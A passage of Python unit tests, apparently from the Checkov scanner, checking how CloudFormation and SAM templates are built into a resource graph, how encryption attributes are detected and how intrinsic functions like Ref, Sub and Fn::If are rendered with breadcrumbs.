definitions = {} file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path)) (definitions[relative_file_path], definitions_raw) = parse(file) local_graph = CloudformationLocalGraph(definitions) local_graph.build_graph(render_variables=False) self.assertEqual(1, len(local_graph.vertices)) self.assertEqual(0, len(local_graph.edges)) resource_vertex = local_graph.vertices[0] self.assertEqual("AWS::ApiGateway::Stage.Enabled", resource_vertex.name) self.assertEqual("AWS::ApiGateway::Stage.Enabled", resource_vertex.id) self.assertEqual(BlockType.RESOURCE, resource_vertex.block_type) self.assertEqual("CloudFormation", resource_vertex.source) self.assertDictEqual(definitions[relative_file_path]["Resources"]["Enabled"]["Properties"], resource_vertex.attributes) def test_build_graph_with_params_outputs(self): relative_file_path = "../../checks/resource/aws/example_IAMRoleAllowAssumeFromAccount/example_IAMRoleAllowAssumeFromAccount-PASSED-2.yml" definitions = {} file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path)) (definitions[relative_file_path], definitions_raw) = parse(file) local_graph = CloudformationLocalGraph(definitions) local_graph.build_graph(render_variables=False) self.assertEqual(len(local_graph.vertices), 57) self.assertEqual(len([v for v in local_graph.vertices if v.block_type == BlockType.CONDITIONS]), 2) self.assertEqual(len([v for v in local_graph.vertices if v.block_type == BlockType.RESOURCE]), 16) self.assertEqual(len([v for v in local_graph.vertices if v.block_type == BlockType.PARAMETERS]), 30) self.assertEqual(len([v for v in local_graph.vertices if v.block_type == BlockType.OUTPUTS]), 8) self.assertEqual(len([v for v in local_graph.vertices if v.block_type == BlockType.MAPPINGS]), 1) def test_vertices_from_local_graph(self): resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, './resources/vertices')) definitions, _ = create_definitions(root_folder=resources_dir, files=None, runner_filter=RunnerFilter()) local_graph = CloudformationLocalGraph(definitions) local_graph.build_graph(render_variables=False) definitions, breadcrumbs = convert_graph_vertices_to_definitions(local_graph.vertices, resources_dir) self.assertIsNotNone(definitions) self.assertEqual(len(definitions.items()), 2) test_yaml_definitions = definitions[os.path.join(resources_dir, 'test.yaml')][TemplateSections.RESOURCES] self.assertEqual(len(test_yaml_definitions.keys()), 2) self.assertIn('MyDB', test_yaml_definitions.keys()) self.assertIn('MySourceQueue', test_yaml_definitions.keys()) test_json_definitions = definitions[os.path.join(resources_dir, 'test.json')][TemplateSections.RESOURCES] self.assertEqual(len(test_json_definitions.keys()), 2) self.assertIn('MyDB', test_json_definitions.keys()) self.assertIn('MySourceQueue', test_json_definitions.keys()) self.assertIsNotNone(breadcrumbs) self.assertDictEqual(breadcrumbs, {}) # Will be changed when we add breadcrumbs to cfn vertices def test_yaml_conditioned_vertices_from_local_graph(self): root_dir = os.path.realpath(os.path.join(TEST_DIRNAME, './resources/conditioned_vertices/yaml')) file_name = 'test.yaml' self.validate_conditioned_vertices_from_local_graph(root_dir, file_name) def test_json_conditioned_vertices_from_local_graph(self): root_dir = os.path.realpath(os.path.join(TEST_DIRNAME, './resources/conditioned_vertices/json')) file_name = 'test.json' self.validate_conditioned_vertices_from_local_graph(root_dir, file_name) def validate_conditioned_vertices_from_local_graph(self, root_dir, file_name): true_condition_resources = {'BucketFnEqualsTrue', 'BucketFnNotTrue', 'BucketFnNotTrueThroughCondition', 'BucketFnAndTrue', 'BucketFnAndTrueWithCondition', 'BucketFnOrTrue', 'BucketFnOrTrueWithCondition'} definitions, _ = create_definitions(root_folder=root_dir, files=None, runner_filter=RunnerFilter()) local_graph = CloudformationLocalGraph(definitions) local_graph.build_graph(render_variables=True) definitions, breadcrumbs = convert_graph_vertices_to_definitions(local_graph.vertices, root_dir) self.assertIsNotNone(definitions) self.assertEqual(len(definitions.items()), 1) test_yaml_definitions = definitions[os.path.join(root_dir, file_name)][TemplateSections.RESOURCES] definitions_set = set(test_yaml_definitions.keys()) self.assertEqual(len(definitions_set), 7) self.assertSetEqual(true_condition_resources, definitions_set) def test_yaml_edges(self): root_dir = os.path.realpath(os.path.join(TEST_DIRNAME, 'resources/edges_yaml')) self.validate_edges_count(root_dir) def test_json_edges(self): root_dir = os.path.realpath(os.path.join(TEST_DIRNAME, 'resources/edges_json')) self.validate_edges_count(root_dir) def validate_edges_count(self, root_dir) -> None: expected_out_edges_count = { 'parameters.EnvType': 0, 'parameters.DataBucketName': 0, 'mappings.RegionMap': 0, 'conditions.CreateProdResources': 1, 'conditions.CreateDevResources': 1, 'AWS::EC2::Instance.EC2Instance': 4, 'AWS::EC2::VolumeAttachment.MountPoint': 3, 'AWS::EC2::Volume.NewVolume': 2, 'AWS::S3::Bucket.DataBucket': 4, 'outputs.EC2InstanceId': 1, 'outputs.EC2PublicDNS': 1, 'outputs.DataBucketUniqueId': 2 } expected_in_edges_count = { 'parameters.EnvType': 4, 'parameters.DataBucketName': 3, 'mappings.RegionMap': 1, 'conditions.CreateProdResources': 3, 'conditions.CreateDevResources': 1, 'AWS::EC2::Instance.EC2Instance': 5, 'AWS::EC2::VolumeAttachment.MountPoint': 0, 'AWS::EC2::Volume.NewVolume': 1, 'AWS::S3::Bucket.DataBucket': 1, 'outputs.EC2InstanceId': 0, 'outputs.EC2PublicDNS': 0, 'outputs.DataBucketUniqueId': 0 } definitions, _ = create_definitions(root_folder=root_dir, files=None, runner_filter=RunnerFilter()) local_graph = CloudformationLocalGraph(definitions) local_graph.build_graph(render_variables=False) idx_to_vertex_id = {idx: vertex.id for idx, vertex in enumerate(local_graph.vertices)} # we check that each entity in the template file has the right amount of out edges_yaml out_edges_overall_count = 0 for vertex_index, actual_out_edges in local_graph.out_edges.items(): vertex_id = idx_to_vertex_id[vertex_index] self.assertEqual(len(actual_out_edges), expected_out_edges_count[vertex_id], f'{vertex_id} actually has {len(actual_out_edges)} outgoing edges, not {expected_out_edges_count[vertex_id]}') out_edges_overall_count += len(actual_out_edges) # we check that each entity in the template file has the right amount of in edges_yaml in_edges_overall_count = 0 for vertex_index, actual_in_edges in local_graph.in_edges.items(): vertex_id = idx_to_vertex_id[vertex_index] self.assertEqual(len(actual_in_edges), expected_in_edges_count[vertex_id], f'{vertex_id} actually has {len(actual_in_edges)} outgoing edges, not {expected_in_edges_count[vertex_id]}') in_edges_overall_count += len(actual_in_edges) # we check that the overall amount of out edges_yaml equals the overall amount of in edges_yaml # and the overall amount of edges_yaml self.assertEqual(out_edges_overall_count, in_edges_overall_count) self.assertEqual(out_edges_overall_count, len(local_graph.edges)) def test_build_graph_with_sam_resource(self): sam_file_path = Path(TEST_DIRNAME) / "resources/sam/template.yaml" definitions, _ = create_definitions(root_folder="", files=[str(sam_file_path)], runner_filter=RunnerFilter()) local_graph = CloudformationLocalGraph(definitions) local_graph.build_graph(render_variables=False) self.assertEqual(len(local_graph.vertices), 8) self.assertEqual(len([v for v in local_graph.vertices if v.block_type == BlockType.GLOBALS]), 1) self.assertEqual(len([v for v in local_graph.vertices if v.block_type == BlockType.RESOURCE]), 3) self.assertEqual(len([v for v in local_graph.vertices if v.block_type == BlockType.OUTPUTS]), 1) self.assertEqual(len([v for v in local_graph.vertices if v.block_type == BlockType.MAPPINGS]), 1) function_1_index = local_graph.vertices_block_name_map["resource"]["AWS::Serverless::Function.Function1"][0] function_2_index = local_graph.vertices_block_name_map["resource"]["AWS::Serverless::Function.Function2"][0] function_1_vertex = local_graph.vertices[function_1_index] function_2_vertex = local_graph.vertices[function_2_index] # SAM Globals are now compiled into the resources expected_changes = [ "Environment.Variables", "Environment.Variables.QUEUE_URL", "Environment.Variables.QUEUE_URL.Fn::If", "VpcConfig.SecurityGroupIds", "VpcConfig.SubnetIds", ] self.assertCountEqual(expected_changes, function_1_vertex.changed_attributes.keys()) self.assertCountEqual(expected_changes, function_2_vertex.changed_attributes.keys()) self.assertEqual("src/", function_1_vertex.attributes["CodeUri"]) self.assertEqual("python3.9", function_1_vertex.attributes["Runtime"]) self.assertEqual(5, function_1_vertex.attributes["Timeout"]) self.assertEqual("Active", function_1_vertex.attributes["Tracing"]) self.assertEqual("hello", function_1_vertex.attributes["Environment"]["Variables"]["NEW_VAR"]) self.assertEqual("Production", function_1_vertex.attributes["Environment"]["Variables"]["STAGE"]) self.assertEqual("resource-table", function_1_vertex.attributes["Environment"]["Variables"]["TABLE_NAME"]) self.assertEqual(['sg-123', 'sg-456', 'sg-first'], function_1_vertex.attributes["VpcConfig"]["SecurityGroupIds"]) self.assertEqual(['subnet-123', 'subnet-456'], function_1_vertex.attributes["VpcConfig"]["SubnetIds"]) self.assertEqual("src/", function_2_vertex.attributes["CodeUri"]) self.assertEqual("python3.9", function_2_vertex.attributes["Runtime"]) self.assertEqual(5, function_2_vertex.attributes["Timeout"]) self.assertEqual("Active", function_2_vertex.attributes["Tracing"]) self.assertEqual("Production", function_2_vertex.attributes["Environment"]["Variables"]["STAGE"]) self.assertEqual("global-table", function_2_vertex.attributes["Environment"]["Variables"]["TABLE_NAME"]) self.assertEqual(['sg-123', 'sg-456'], function_2_vertex.attributes["VpcConfig"]["SecurityGroupIds"]) self.assertEqual(['subnet-123', 'subnet-456'], function_2_vertex.attributes["VpcConfig"]["SubnetIds"]) # check 'self' attribute is stored as 'self_' mapping_index = local_graph.vertices_block_name_map["mappings"]["ServiceDiscovery"][0] mapping_vertex = local_graph.vertices[mapping_index] attribute_dict = mapping_vertex.get_attribute_dict() self.assertNotIn("self", attribute_dict.keys()) self.assertIn("self_", attribute_dict.keys()) def test_encryption_aws(self): sam_file_path = Path(TEST_DIRNAME) / "resources/encryption/test.json" definitions, _ = create_definitions(root_folder="", files=[str(sam_file_path)], runner_filter=RunnerFilter()) local_graph = CloudformationLocalGraph(definitions) local_graph._create_vertices() local_graph.calculate_encryption_attribute(ENCRYPTION_BY_RESOURCE_TYPE) all_attributes = [vertex.get_attribute_dict() for vertex in local_graph.vertices] for attribute_dict in all_attributes: [resource_type, resource_name] = attribute_dict[CustomAttributes.ID].split(".") if resource_type in ENCRYPTION_BY_RESOURCE_TYPE: is_encrypted = attribute_dict[CustomAttributes.ENCRYPTION] details = attribute_dict[CustomAttributes.ENCRYPTION_DETAILS] self.assertEqual(is_encrypted, EncryptionValues.ENCRYPTED.value if resource_name.startswith("Encrypted") else EncryptionValues.UNENCRYPTED.value, f'failed for "{resource_type}.{resource_name}"') if is_encrypted == EncryptionValues.ENCRYPTED.value: attribute_dict_keys = '\t'.join(list(attribute_dict.keys())) if 'KmsKeyId' in attribute_dict_keys or 'KMSMasterKeyId' in attribute_dict_keys: self.assertEqual(details, EncryptionTypes.KMS_VALUE.value, f'Bad encryption details for "{resource_type}.{resource_name}"') else: self.assertIn(details, [EncryptionTypes.AES256.value, EncryptionTypes.KMS_VALUE.value, EncryptionTypes.NODE_TO_NODE.value, EncryptionTypes.DEFAULT_KMS.value], f'Bad encryption details for "{resource_type}.{resource_name}"') else: self.assertEqual(details, "") else: self.assertIsNone(attribute_dict.get(CustomAttributes.ENCRYPTION)) self.assertIsNone(attribute_dict.get(CustomAttributes.ENCRYPTION_DETAILS)) ================================================ FILE: tests/cloudformation/graph/graph_builder/test_render.py ================================================ import os from unittest import mock from unittest.case import TestCase from checkov.cloudformation.graph_builder.graph_components.block_types import BlockType from checkov.cloudformation.graph_manager import CloudformationGraphManager from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector from checkov.common.util.json_utils import get_jsonpath_from_evaluated_key TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @mock.patch.dict(os.environ, {"RENDER_ASYNC_MAX_WORKERS": "50", "RENDER_VARIABLES_ASYNC": "False"}) class TestRenderer(TestCase): def test_render_ref(self): relative_path = './resources/variable_rendering/render_ref/' yaml_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'yaml')) json_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'json')) self.validate_render_ref(yaml_test_dir, 'yaml') self.validate_render_ref(json_test_dir, 'json') def validate_render_ref(self, test_dir: str, file_ext: str): graph_manager = CloudformationGraphManager(db_connector=NetworkxConnector()) local_graph, _ = graph_manager.build_graph_from_source_directory(test_dir, render_variables=True) db_name_default_value = "db1" kms_master_key_id_expected_attributes = {'Default': None} db_name_expected_attributes = {'Default': db_name_default_value} my_source_queue_expected_attributes = {'KmsMasterKeyId.Ref': 'KmsMasterKeyId'} my_db_expected_attributes = {'DBName': db_name_default_value} my_db_instance_name_expected_attributes = {'Value.Ref': 'MyDB'} self.compare_vertex_attributes(local_graph, kms_master_key_id_expected_attributes, BlockType.PARAMETERS, 'KmsMasterKeyId') self.compare_vertex_attributes(local_graph, db_name_expected_attributes, BlockType.PARAMETERS, 'DBName') self.compare_vertex_attributes(local_graph, my_source_queue_expected_attributes, BlockType.RESOURCE, 'AWS::SQS::Queue.MySourceQueue') self.compare_vertex_attributes(local_graph, my_db_expected_attributes, BlockType.RESOURCE, 'AWS::RDS::DBInstance.MyDB') self.compare_vertex_attributes(local_graph, my_db_instance_name_expected_attributes, BlockType.OUTPUTS, 'MyDBInstanceName') kms_master_key_id_expected_breadcrumbs = {} db_name_expected_breadcrumbs = {} my_source_queue_expected_breadcrumbs = {} my_db_expected_breadcrumbs = {'DBName': [{'type': BlockType.PARAMETERS, 'name': 'DBName', 'path': os.path.join(test_dir, f'test.{file_ext}'), 'attribute_key': 'Default'}]} my_db_instance_name_expected_breadcrumbs = {} self.compare_vertex_breadcrumbs(local_graph, kms_master_key_id_expected_breadcrumbs, BlockType.PARAMETERS, 'KmsMasterKeyId') self.compare_vertex_breadcrumbs(local_graph, db_name_expected_breadcrumbs, BlockType.PARAMETERS, 'DBName') self.compare_vertex_breadcrumbs(local_graph, my_source_queue_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::SQS::Queue.MySourceQueue') self.compare_vertex_breadcrumbs(local_graph, my_db_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::RDS::DBInstance.MyDB') self.compare_vertex_breadcrumbs(local_graph, my_db_instance_name_expected_breadcrumbs, BlockType.OUTPUTS, 'MyDBInstanceName') def test_render_findinmap(self): relative_path = './resources/variable_rendering/render_findinmap/' yaml_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'yaml')) json_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'json')) self.validate_render_findinmap(yaml_test_dir, 'yaml') self.validate_render_findinmap(json_test_dir, 'json') def validate_render_findinmap(self, test_dir: str, file_ext: str): graph_manager = CloudformationGraphManager(db_connector=NetworkxConnector()) local_graph, _ = graph_manager.build_graph_from_source_directory(test_dir, render_variables=True) region_map_expected_ami_value = "ami-0ff8a91507f77f867" region_map_expected_attributes = {'us-east-1.AMI': region_map_expected_ami_value} ec2instance_expected_attributes = {'ImageId': region_map_expected_ami_value} self.compare_vertex_attributes(local_graph, region_map_expected_attributes, BlockType.MAPPINGS, 'RegionMap') self.compare_vertex_attributes(local_graph, ec2instance_expected_attributes, BlockType.RESOURCE, 'AWS::EC2::Instance.EC2Instance') region_map_expected_breadcrumbs = {} ec2instance_expected_breadcrumbs = {'ImageId': [{'type': BlockType.MAPPINGS, 'name': 'RegionMap', 'path': os.path.join(test_dir, f'test.{file_ext}'), 'attribute_key': 'us-east-1.AMI'}]} self.compare_vertex_breadcrumbs(local_graph, region_map_expected_breadcrumbs, BlockType.MAPPINGS, 'RegionMap') self.compare_vertex_breadcrumbs(local_graph, ec2instance_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::EC2::Instance.EC2Instance') def test_render_getatt(self): relative_path = './resources/variable_rendering/render_getatt/' yaml_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'yaml')) json_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'json')) self.validate_render_getatt(yaml_test_dir, 'yaml') self.validate_render_getatt(json_test_dir, 'json') def validate_render_getatt(self, test_dir: str, file_ext: str): graph_manager = CloudformationGraphManager(db_connector=NetworkxConnector()) local_graph, _ = graph_manager.build_graph_from_source_directory(test_dir, render_variables=True) web_vpc_expected_cidr_block = "172.16.0.0/16" web_vpc_expected_attributes = {'CidrBlock': web_vpc_expected_cidr_block} my_sg_expected_attributes = {'SecurityGroupIngress.CidrIp': web_vpc_expected_cidr_block} web_vpc_default_sg_expected_attributes = {'Value.Fn::GetAtt': ['WebVPC', 'DefaultSecurityGroup']} self.compare_vertex_attributes(local_graph, web_vpc_expected_attributes, BlockType.RESOURCE, 'AWS::EC2::VPC.WebVPC') self.compare_vertex_attributes(local_graph, my_sg_expected_attributes, BlockType.RESOURCE, 'AWS::EC2::SecurityGroup.MySG') self.compare_vertex_attributes(local_graph, web_vpc_default_sg_expected_attributes, BlockType.OUTPUTS, 'WebVPCDefaultSg') web_vpc_expected_breadcrumbs = {} my_sg_expected_breadcrumbs = { "SecurityGroupIngress.0.CidrIp": [ { "type": BlockType.RESOURCE, "name": "AWS::EC2::VPC.WebVPC", "path": os.path.join(test_dir, f"test.{file_ext}"), "attribute_key": "CidrBlock", }, ], "SecurityGroupIngress.0": [ { "type": BlockType.RESOURCE, "name": "AWS::EC2::VPC.WebVPC", "path": os.path.join(test_dir, f"test.{file_ext}"), "attribute_key": "CidrBlock", }, ], } web_vpc_default_sg_expected_breadcrumbs = {} self.compare_vertex_breadcrumbs(local_graph, web_vpc_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::EC2::VPC.WebVPC') self.compare_vertex_breadcrumbs(local_graph, my_sg_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::EC2::SecurityGroup.MySG') self.compare_vertex_breadcrumbs(local_graph, web_vpc_default_sg_expected_breadcrumbs, BlockType.OUTPUTS, 'WebVPCDefaultSg') def test_render_sub(self): relative_path = './resources/variable_rendering/render_sub/' yaml_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'yaml')) json_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'json')) self.validate_render_sub(yaml_test_dir, 'yaml') self.validate_render_sub(json_test_dir, 'json') def validate_render_sub(self, test_dir: str, file_ext: str): graph_manager = CloudformationGraphManager(db_connector=NetworkxConnector()) local_graph, _ = graph_manager.build_graph_from_source_directory(test_dir, render_variables=True) company_name_expected_value = "acme" web_vpc_expected_cidr_block = "172.16.0.0/16" # Parameters company_name_expected_attributes = {'Default': company_name_expected_value} environment_expected_attributes = {'Default': None} # Resources web_vpc_expected_attributes = {'CidrBlock': web_vpc_expected_cidr_block} default_db_expected_attributes = {'DBName': {'Fn::Sub': 'rds-${CompanyName}-${Environment}'}} # Outputs db_endpoint_sg_expected_attributes = {'Value.Fn::Sub': "${DefaultDB.Endpoint.Address}:${DefaultDB.Endpoint.Port}"} web_vpc_cidr_block_expected_attributes = {'Value': web_vpc_expected_cidr_block} cidr_block_associations_expected_attributes = {'Value.Fn::Sub': "${WebVPC.CidrBlockAssociations}"} default_db_name_expected_attributes = {'Value': {'Fn::Sub': 'rds-${CompanyName}-${Environment}'}} self.compare_vertex_attributes(local_graph, company_name_expected_attributes, BlockType.PARAMETERS, 'CompanyName') self.compare_vertex_attributes(local_graph, environment_expected_attributes, BlockType.PARAMETERS, 'Environment') self.compare_vertex_attributes(local_graph, web_vpc_expected_attributes, BlockType.RESOURCE, 'AWS::EC2::VPC.WebVPC') self.compare_vertex_attributes(local_graph, default_db_expected_attributes, BlockType.RESOURCE, 'AWS::RDS::DBInstance.DefaultDB') self.compare_vertex_attributes(local_graph, db_endpoint_sg_expected_attributes, BlockType.OUTPUTS, 'DBEndpoint') self.compare_vertex_attributes(local_graph, web_vpc_cidr_block_expected_attributes, BlockType.OUTPUTS, 'WebVPCCidrBlock') self.compare_vertex_attributes(local_graph, cidr_block_associations_expected_attributes, BlockType.OUTPUTS, 'CidrBlockAssociations') self.compare_vertex_attributes(local_graph, default_db_name_expected_attributes, BlockType.OUTPUTS, 'DefaultDBName') # Check that config is updated as well self.compare_vertex_config(local_graph, web_vpc_expected_attributes, BlockType.RESOURCE, 'AWS::EC2::VPC.WebVPC') company_name_expected_breadcrumbs = {} environment_expected_breadcrumbs = {} web_vpc_expected_breadcrumbs = {} default_db_expected_breadcrumbs = {} db_endpoint_sg_expected_breadcrumbs = {} web_vpc_cidr_block_expected_breadcrumbs = {'Value': [{'type': BlockType.RESOURCE, 'name': 'AWS::EC2::VPC.WebVPC', 'path': os.path.join(test_dir, f'test.{file_ext}'), 'attribute_key': 'CidrBlock'}]} cidr_block_associations_expected_breadcrumbs = {} default_db_name_expected_breadcrumbs = {} self.compare_vertex_breadcrumbs(local_graph, company_name_expected_breadcrumbs, BlockType.PARAMETERS, 'CompanyName') self.compare_vertex_breadcrumbs(local_graph, environment_expected_breadcrumbs, BlockType.PARAMETERS, 'Environment') self.compare_vertex_breadcrumbs(local_graph, web_vpc_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::EC2::VPC.WebVPC') self.compare_vertex_breadcrumbs(local_graph, default_db_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::RDS::DBInstance.DefaultDB') self.compare_vertex_breadcrumbs(local_graph, db_endpoint_sg_expected_breadcrumbs, BlockType.OUTPUTS, 'DBEndpoint') self.compare_vertex_breadcrumbs(local_graph, web_vpc_cidr_block_expected_breadcrumbs, BlockType.OUTPUTS, 'WebVPCCidrBlock') self.compare_vertex_breadcrumbs(local_graph, cidr_block_associations_expected_breadcrumbs, BlockType.OUTPUTS, 'CidrBlockAssociations') self.compare_vertex_breadcrumbs(local_graph, default_db_name_expected_breadcrumbs, BlockType.OUTPUTS, 'DefaultDBName') def test_render_subsequent_evals(self): relative_path = './resources/variable_rendering/render_subsequent_evals/' yaml_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'yaml')) json_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'json')) self.validate_render_subsequent_evals(yaml_test_dir, 'yaml') self.validate_render_subsequent_evals(json_test_dir, 'json') def validate_render_subsequent_evals(self, test_dir: str, file_ext: str): graph_manager = CloudformationGraphManager(db_connector=NetworkxConnector()) local_graph, _ = graph_manager.build_graph_from_source_directory(test_dir, render_variables=True) cidr_block_expected_expected_value = "172.16.0.0/16" cidr_block_expected_attributes = {'Default': cidr_block_expected_expected_value} web_vpc_expected_attributes = {'CidrBlock': cidr_block_expected_expected_value} my_sg_expected_attributes = {'SecurityGroupIngress.CidrIp': cidr_block_expected_expected_value} self.compare_vertex_attributes(local_graph, cidr_block_expected_attributes, BlockType.PARAMETERS, 'CidrBlock') self.compare_vertex_attributes(local_graph, web_vpc_expected_attributes, BlockType.RESOURCE, 'AWS::EC2::VPC.WebVPC') self.compare_vertex_attributes(local_graph, my_sg_expected_attributes, BlockType.RESOURCE, 'AWS::EC2::SecurityGroup.MySG') cidr_block_expected_breadcrumbs = {} web_vpc_expected_breadcrumbs = {'CidrBlock': [{'type': BlockType.PARAMETERS, 'name': 'CidrBlock', 'path': os.path.join(test_dir, f'test.{file_ext}'), 'attribute_key': 'Default'}, {'type': BlockType.RESOURCE, 'name': 'AWS::EC2::VPC.WebVPC', 'path': os.path.join(test_dir, f'test.{file_ext}'), 'attribute_key': 'CidrBlock'}]} my_sg_expected_breadcrumbs = { "SecurityGroupIngress.0.CidrIp": [ { "type": BlockType.PARAMETERS, "name": "CidrBlock", "path": os.path.join(test_dir, f"test.{file_ext}"), "attribute_key": "Default", }, { "type": BlockType.RESOURCE, "name": "AWS::EC2::VPC.WebVPC", "path": os.path.join(test_dir, f"test.{file_ext}"), "attribute_key": "CidrBlock", }, ], "SecurityGroupIngress.0": [ { "type": BlockType.PARAMETERS, "name": "CidrBlock", "path": os.path.join(test_dir, f"test.{file_ext}"), "attribute_key": "Default", }, { "type": BlockType.RESOURCE, "name": "AWS::EC2::VPC.WebVPC", "path": os.path.join(test_dir, f"test.{file_ext}"), "attribute_key": "CidrBlock", }, ], } self.compare_vertex_breadcrumbs(local_graph, cidr_block_expected_breadcrumbs, BlockType.PARAMETERS, 'CidrBlock') self.compare_vertex_breadcrumbs(local_graph, web_vpc_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::EC2::VPC.WebVPC') self.compare_vertex_breadcrumbs(local_graph, my_sg_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::EC2::SecurityGroup.MySG') def test_render_select(self): relative_path = './resources/variable_rendering/render_select/' yaml_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'yaml')) json_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'json')) self.validate_render_select(yaml_test_dir, 'yaml') self.validate_render_select(json_test_dir, 'json') def validate_render_select(self, test_dir: str, file_ext: str): graph_manager = CloudformationGraphManager(db_connector=NetworkxConnector()) local_graph, _ = graph_manager.build_graph_from_source_directory(test_dir, render_variables=True) subnet0_expected_attributes = {'CidrBlock': '10.0.48.0/24'} grapes_select_expected_attributes = {'Value': 'grapes'} out_of_bound_select_expected_attributes = {'Value.Fn::Select': ['7', ['apples', 'grapes', 'oranges', 'mangoes']]} self.compare_vertex_attributes(local_graph, subnet0_expected_attributes, BlockType.RESOURCE, 'AWS::EC2::Subnet.Subnet0') self.compare_vertex_attributes(local_graph, grapes_select_expected_attributes, BlockType.OUTPUTS, 'GrapesSelect') self.compare_vertex_attributes(local_graph, out_of_bound_select_expected_attributes, BlockType.OUTPUTS, 'OutOfBoundSelect') subnet0_expected_breadcrumbs = {'CidrBlock.Fn::Select.1': [{'type': BlockType.PARAMETERS, 'name': 'DbSubnetIpBlocks', 'path': os.path.join(test_dir, f'test.{file_ext}'), 'attribute_key': 'Default'}], 'CidrBlock.Fn::Select': [{'type': BlockType.PARAMETERS, 'name': 'DbSubnetIpBlocks', 'path': os.path.join(test_dir, f'test.{file_ext}'), 'attribute_key': 'Default'}]} grapes_select_expected_breadcrumbs = {} out_of_bound_select_expected_breadcrumbs = {} self.compare_vertex_breadcrumbs(local_graph, subnet0_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::EC2::Subnet.Subnet0') self.compare_vertex_breadcrumbs(local_graph, grapes_select_expected_breadcrumbs, BlockType.OUTPUTS, 'GrapesSelect') self.compare_vertex_breadcrumbs(local_graph, out_of_bound_select_expected_breadcrumbs, BlockType.OUTPUTS, 'OutOfBoundSelect') def test_render_join(self): relative_path = './resources/variable_rendering/render_join/' yaml_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'yaml')) json_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'json')) self.validate_render_join(yaml_test_dir, 'yaml') self.validate_render_join(json_test_dir, 'json') def validate_render_join(self, test_dir: str, file_ext: str): graph_manager = CloudformationGraphManager(db_connector=NetworkxConnector()) local_graph, _ = graph_manager.build_graph_from_source_directory(test_dir, render_variables=True) s3bucket1_expected_attributes = {'BucketName': 'a:b:c'} s3bucket2_expected_attributes = {'BucketName': 'my_bucket_name_test'} self.compare_vertex_attributes(local_graph, s3bucket1_expected_attributes, BlockType.RESOURCE, 'AWS::S3::Bucket.S3Bucket1') self.compare_vertex_attributes(local_graph, s3bucket2_expected_attributes, BlockType.RESOURCE, 'AWS::S3::Bucket.S3Bucket2') s3bucket1_expected_breadcrumbs = {} s3bucket2_expected_breadcrumbs = {'BucketName.Fn::Join.1.0': [{'type': BlockType.PARAMETERS, 'name': 'BucketName', 'path': os.path.join(test_dir, f'test.{file_ext}'), 'attribute_key': 'Default'}], 'BucketName.Fn::Join.1': [{'type': BlockType.PARAMETERS, 'name': 'BucketName', 'path': os.path.join(test_dir, f'test.{file_ext}'), 'attribute_key': 'Default'}], 'BucketName.Fn::Join': [{'type': BlockType.PARAMETERS, 'name': 'BucketName', 'path': os.path.join(test_dir, f'test.{file_ext}'), 'attribute_key': 'Default'}]} self.compare_vertex_breadcrumbs(local_graph, s3bucket1_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::S3::Bucket.S3Bucket1') self.compare_vertex_breadcrumbs(local_graph, s3bucket2_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::S3::Bucket.S3Bucket2') def test_render_if(self): relative_path = './resources/variable_rendering/render_if/' yaml_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'yaml')) json_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'json')) self.valiate_render_if(yaml_test_dir, 'yaml') self.valiate_render_if(json_test_dir, 'json') def valiate_render_if(self, test_dir: str, file_ext: str): graph_manager = CloudformationGraphManager(db_connector=NetworkxConnector()) local_graph, _ = graph_manager.build_graph_from_source_directory(test_dir, render_variables=True) ec2instance_expected_attributes = {'InstanceType': 'm1.large'} s3bucketsuspended_expected_attributes = {'VersioningConfiguration.Status': 'Suspended'} s3bucketenabled_expected_attributes = {'VersioningConfiguration.Status': 'Enabled'} self.compare_vertex_attributes(local_graph, ec2instance_expected_attributes, BlockType.RESOURCE, 'AWS::EC2::Instance.EC2Instance') self.compare_vertex_attributes(local_graph, s3bucketsuspended_expected_attributes, BlockType.RESOURCE, 'AWS::S3::Bucket.S3BucketSuspended') self.compare_vertex_attributes(local_graph, s3bucketenabled_expected_attributes, BlockType.RESOURCE, 'AWS::S3::Bucket.S3BucketEnabled') instancesize_breadcrumb = {'type': BlockType.PARAMETERS, 'name': 'InstanceSize', 'path': os.path.join(test_dir, f'test.{file_ext}'), 'attribute_key': 'Default'} ec2instance_expected_breadcrumbs = { 'InstanceType.Fn::If.2.Fn::If.1': [instancesize_breadcrumb], 'InstanceType.Fn::If.2.Fn::If': [instancesize_breadcrumb], 'InstanceType.Fn::If.2': [instancesize_breadcrumb], 'InstanceType.Fn::If': [instancesize_breadcrumb], 'InstanceType': [instancesize_breadcrumb], } s3bucketsuspended_expected_breadcrumbs = {} s3bucketenabled_expected_breadcrumbs = {} self.compare_vertex_breadcrumbs(local_graph, ec2instance_expected_breadcrumbs, 